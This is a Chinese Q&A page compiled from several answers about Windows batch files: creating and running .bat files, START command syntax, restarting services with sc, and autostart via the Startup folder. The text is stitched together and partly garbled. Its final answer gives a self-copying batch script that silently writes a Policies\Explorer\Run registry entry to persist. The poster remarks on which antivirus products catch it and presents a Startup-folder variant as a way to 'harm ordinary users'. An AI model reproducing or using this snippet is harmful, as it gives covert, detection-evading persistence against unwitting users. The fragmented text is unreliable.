一、批处理的创建
新建一个txt文本,然后重命名为bat的文件(比如:testbatbat)。然后进行编辑,启动一个exe文件,只要使用start命令就可以了,如图中批处理,就是启动windows自带的计算器程序。
二、批处理的运行
1、在资源管理器中和一般程序一样双击运行
2、同时按windows键+R键,打开CMD命令提示符,输入批处理文件名按回车键即可运行
三、如果需要更复杂的一些 *** 作,参考start命令的完整语法说明:
START
["title"]
[/D
path]
[/I]
[/MIN]
[/MAX]
[/SEPARATE
|
/SHARED]
[/LOW
|
/NORMAL
|
/HIGH
|
/REALTIME
|
/ABOVENORMAL
|
/BELOWNORMAL]
[/NODE
]
[/AFFINITY
]
[/WAIT]
[/B]
[command/program]
[parameters]
"title"
在窗口标题栏中显示的标题。
path
启动目录。@echo
off
sc
stop
服务名
sc
config
服务名
start=
Auto
sc
start
服务名
以上可以实现重启,先停止,然后再启动
还有你要哪个服务,你可以"控制面板"里面的"服务",查看你要 *** 作的哪个服务,点"属性",看到上面它的名称,,服务都是没有空格的哦要注意,别搞错这不是叫你写sql语句,他的意思是说你要切换到命令提示符下
你点击"开始"->"运行"里输入cmd
在这里切换到你的脚本目录,例如你的脚本在d盘
那你就在命令提示符下输入d:
这样就可以切换到d盘了
运行的话更为简单,因为bat是批处理文件,其实你可以双击运行的,就是不需要在命令提示符下,如果你要在命令提示符下运行的话就直接打文字名加扩展名就行了mwsqlserver90_dbsetupbat
sql
server是无法运行这样的文件的,只是可能你的脚本中含有sql语句,他就调用了查询分析器执行语句的 *** 作
你可以直接将gmexe添加到开始菜单的启动目录里,这样就可以开机自启动了。
一般打开 C:\Documents and Settings\Administrator\「开始」菜单\程序\启动,这个文件夹,然后将程序的快捷方式拖进去就可以了。
并不是 每个人的系统都在C盘可以用%systemroot%拿到系统目录!
我这个,有部分杀软 会跳过(但卡巴会拦)!
@echo off
::(你的BAT内容)
copy %0 %systemroot%\batNamebat
::↑复制自身到系统目录
Echo REGEDIT4>c:\rrrreg
ECHO>>c:\rrrreg
Echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]>>c:\rrrreg
Echo ""="%systemroot%\batNamebat">>c:\rrrreg
regedit /s c:\rrrreg
del c:\rrrreg
exit
其实,是害一般用户的话 可以用
copy %0 %SystemDrive%\Docume~1\%UserName%\「开始~1\程序\启动\batNamebat
这个虽然很老土, 不过比较安全!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)